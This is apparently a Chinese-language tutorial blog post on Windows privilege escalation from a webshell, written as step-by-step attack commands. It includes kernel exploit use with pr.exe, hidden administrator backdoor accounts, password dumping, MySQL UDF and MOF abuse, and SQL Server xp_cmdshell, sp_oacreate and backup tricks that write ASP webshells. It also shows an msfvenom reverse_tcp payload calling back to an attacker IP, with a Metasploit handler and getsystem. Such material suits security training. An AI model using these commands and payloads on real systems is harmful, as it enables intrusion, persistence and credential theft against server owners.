Chosen1|安全

Windows提权

windows权限提升概述

提权方式

操作系统漏洞提权

第三方服务提权

提权方式:操作系统漏洞提权
根据没有修补的补丁号码,到网上找利用程序,进行利用。
1.访问目标网站
2.拿到webshell:通过文件上传,SQL注入,代码执行等等
3.上传自己的cmd.exe(因为默认一般不让调用系统的cmd.exe)
4.查看服务器信息(网络信息,账号信息,systeminfo系统详细信息等等)
5.利用提权补丁对比工具,查看可以利用的poc(漏洞测试代码程序)
6.上传可用的提权程序进行提权

操作系统提权

3389远程登录

我们的目标是提权添加账号,并开启3389端口,进行端口转发,最后进行远程登录

首先通过命令查看3389是否开启

netstat -anop tcp

首先访问目标网站

我们上传了一个大马,叫2012.asp

又因为window不允许我们执行系统自带的cmd,所以我们需要自己上传一个从cmd

之后我们使用自己上传的cmd执行命令

我们需要填写我们自己上传的cmd路径,并勾选WScript.Shell

我们查询系统安装的补丁是什么

使用提权补丁对比工具来进行对比

我们就来使用第一个漏洞PR来进行提权

为了和提权之后做一个对比,我们先看一下提权之前我们有什么权限

查看权限

创建用户

net user zzp 123456 /add

发现不成功

后面我们开始使用pr.exe提权,注意后面执行的命令使用双引号包裹

C:\Inetpub\wwwroot\80--test\pr.exe "whoami"

可以发现我们已经是system权限了

添加用户

C:\Inetpub\wwwroot\80--test\pr.exe "net user zzp 123456 /add"

查看用户,发现添加成功

为了更安全,我们选择添加一个隐藏用户作为后手

C:\Inetpub\wwwroot\80--test\pr.exe "net user zzp1$ 123456 /add"

正常的net user,是看不见我们的隐藏用户,只能通过net user zzp1$来进行查看

把我的zzp1$添加到管理员组

C:\Inetpub\wwwroot\80--test\pr.exe "net localgroup administrators zzp1$ /add"

使用netstat -anop tcp查看3309是否开启

没有开启,所以我们需要上传一个开启3309端口的exp

使用高权限运行exp

C:\Inetpub\wwwroot\80--test\pr.exe "C:\Inetpub\wwwroot\80--test\3389.exe "

再次查询3389端口是否开启

但是我们会发现ping不同,也远程连接不上,因为我们需要进行端口转发

下面我们进行端口转发

读取原有用户密码

密文读取

首先我们上传读取密码的exp,wce_32.exe

使用cmd执行,会输出密文状态下的密码

明文读取

首先上传exp GetPassword_x32.exe

使用cmd执行,执行成功

第三方服务提权

FTP提权

Serv-U 6版本提权

提权方式:第三方服务提权  ---FTP提权Serv-U 6版本
Serv-U是当前众多的FTP服务器软件之一。通过使用Serv-U,用户能够将任何一台PC设置成一个FTP服务器,这样,用户或其他使用者就能够使用FTP协议,通过在同一网络上的任何一台PC与FTP服务器连接,进行文件或目录的复制,移动,创建,和删除等。

确保服务器的FTP服务已开启

扫描43958是否开启 因为Serv-U的端口是43958

获取Serv-U超管密码

获取Serv-U的超管账号,正常情况下超管账号密码是固定的,可以直接提权。如果被修改,需要下载ServUAdmin.exe程序,这个超管账号在这个程序中,,需要读取十六进制进行获取。使用C32Asm.exe软件读取。其他用户账号在:ServUDaemon.ini这个文件中

可以使用我们的大马,也可以通过webshell使用菜刀 蚁剑

通过C32Asm软件读取超管密码,一般来说超管的账号名是不变的都叫LocalAdministrator,后面跟着的就是密码

进入大马选择ASP提权功能,其中cmd /c为cmd的命令,执行完立即关闭cmd窗口

命令如下

cmd /c net user zzp$ 123456 /add & net localgroup administrators zzp$ /add

用户存在,且在管理员组,但是咱们只能在管理员组,因为咱们是利用FTP服务启动的权限,咱们使用管理员启动的服务所以说只能在管理员组

MYSQL提权

UDF

注意:失败场景

1.是否有权限导出udf.dll到plugin目录没有权限解决办法:
下载查看:my.ini配置中是否允许你导出到其他目录?
不允许就添加: secure-file-priv="属性在上传覆盖原有文件

2.如果mysql/lib/plugin不可写(当前web用户无法在这个目录创建文件)目前不太好解决

首先我们要使用手段上传一个webshell上去,使用蚁剑连接,上传我们的大马

连接大马,登录,密码的话一般来说,网站的目录基本都会有配置文件,只要需要与数据库交互,就需要在配置文件中储存数据库密码,我们们的数据库密码就从这里获得

进入后是这样的页面

首先查看我们的数据库版本,来选择我们的udf.dll文件上传的路径

查看lib目录下有没有plugin文件夹

在大马中选择导出udf

使用SQL语句创建功能函数,创建的函数存放在mysql数据库-->func表中5.使用sql语句创建功能函数,创建的函数存放在mysql数据库->func表中

执行mysql语句调用新创建的函数

也可以自定以sql语句用来执行

MOF

MOF文件
托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。


提权原理
MOF文件每五秒就会执行一次,而且是系统权限,我们通过mysql使用load_file和into dumpfile将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。


MOF提权的条件要求十分严苛:
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.设置my.ini配置文件: secure-file-priv=''

上传脚本文件

1 .将上面的脚本上传到有读写权限的目录下:这里我们注意,网站要运行在服务器c盘下
   这里我上传到C:/phpstudy/www/ 下

mysql.mof文件代码如下

执行sql语句

然后再通过sql语句写入:
select load_file('C:/phpstudy/www/mysql.mof') into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof'
这里执行sql语句,我们选择使用我们上传的dama.php

添加成功

Msserver(Sqlserver)提权

xp_cmdshell

xp_cmdshell是sqlserver一种系统存储过程,利用这个我们可以在sql脚本中运行cmd命令,并返回相应的输出结果。
1.得找到数据库的账号密码,在网站文件中找,常用文件web.config ,不一定是这个配置文件,得看开发者会怎么去命名文件。

利用我们上传的大马sql.aspx进行数据库连接

server=localhost;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
填写信息连接数据库

我们执行提权,但是发现被阻止了

3.利用xp_cmdshell执行系统命令,但是默认情况下此功能是关闭的,所以当我们执行时,提示阻止了

所以我们要去开启这个服务

此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。

开启xp_cmdshell代码
sp_configure 'show advanced options',1;reconfigure;sp_configure 'xp_cmdshell',1;reconfigure

开启成功

Exec master.dbo.xp_cmdshell 'net user'

下面有一个报错无所谓,因为有隐藏用户显示不出来

选中的地方是可以随意修改的

执行whoami可以看到我们为system用户

sp_oacreate

sp_oacreate创建OLE对象实例,可以实现调用系统权限的cmd.exe,执行命令

sp_oacreate创建OLE对象实例,此功能默认是关闭的,需要开启。

开启代码:
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

还是sql.aspx那个大马

使用此功能创建一个木马bin.asp到C盘下

Declare @s int;exec sp_oacreate 'wscript.shell,@s out;Exec SP_OAMethod @s,run',NULL,'cmd.exe/c echo^<%execute(request(char(35))%^>>c:\bin.asp';

沙盒提权

1.首先检查cmd_shell是否开启执行添加用户,阻止运行,需要开启
select * from openrowset('microsoft.jet.oledb.4.0', ;database=c:(windows\system32\ias\ias.mdb', selectshell("cmd.exe /c net user test10 1234/add")')
SQL Server阻止了对组件"Ad Hoc Distributed Queres'的 STATEMENTOpenRowsetOpenDatasource'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ad Hoc Distributed Queres'。有关启用'Ad Hoc Distibuted Queries'的详细信息,请参阅SQL Server联机
丛书中的"外围应用配置器"。
2.第二步开启'OPENROWSET':
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;
3.添加用户,执行成功
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb', 'select  shell("cmd.exe /c net user testzzp 123456 /add")')

差异备份提权

alter database test set RECOVERY FULL--

backup log test to disk='C:/Inetpub/wwwroot/80--test/1.bak' with init

create table tt(a text)

insert into tt(a) values('<%eval request("abc") %>')

backup log test to disk='C:/Inetpub/wwwroot/80--test/vvv.asp'

drop table tt

一次输入下列代码

进程注入

https://www.tarasco.org/security/Process_Injector/index.html
进程注入提权?
如果能向特定的进程中注入代码(shellocde) 
此时注入的代码在执行时会自动以该进程的所有者的权限来运行
使用phpstudy以系统服务开启httpd服务,他会以管理员身份运行
运行病毒程序,-p设置pid 后面跟上可以接收的程序cmd.exe,最后为端口
之后我们使用kali的nc进行正向连接
可以看到我的受害机是administrator权限,而我的nc反弹shell为system

使用MSF提权

第一种方法

首先需要我们可以使用蚁剑连接到对方的Windows,这里我们选择上传一个一句话木马,使用蚁剑连接

切换到kali使用msf生成shell.exe木马

使用msfvenom生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.140 LPORT=6666 -f exe >shell.exe

进入msf控制台

msfconsole

使用监听模块

use exploit/multi/handler

将模块的监听模式配置为反向windows小马监听

set payload windows/meterpreter/reverse_tcp

设置本机地址

set lhost 192.168.31.13

设置本机端口

set lport 6666

开始监听

run

将木马放到受害机执行

shell.exe
msf返回监听成功的视图

background退回到msf控制台视图

use post/multi/recon/local_exploit_suggester使用漏洞检测模块

set session 1设置漏洞检测的会话id

use exploit/xxx/xxx/xxx/xxx 使用某个绿色的可用的漏洞利用模块

options 查看该漏洞利用模块的参数,yes代表必须项,no代表可填项,将没有值的yes项填完整 set xxxxx  

run 运行该漏洞利用模块,成功则返回一个 meterpreter 视图

getuid 查看当前是否提权成功

run运行漏洞检测模块

有一点需要特别注意LPORT需要和你msf监听的端口一样

第二种方法

MSF自带一个全自动提权,操作步骤是

监听成功返回视图,输入background返回控制台试图

输入sessions,查看你监听的时session 几

输入sessions 1切换

输入getsystem,执行MSF自动提权的工具

再次查看getuid

返回结果为NT AUTHORITY\SYSTEM

Views: 9

退出移动版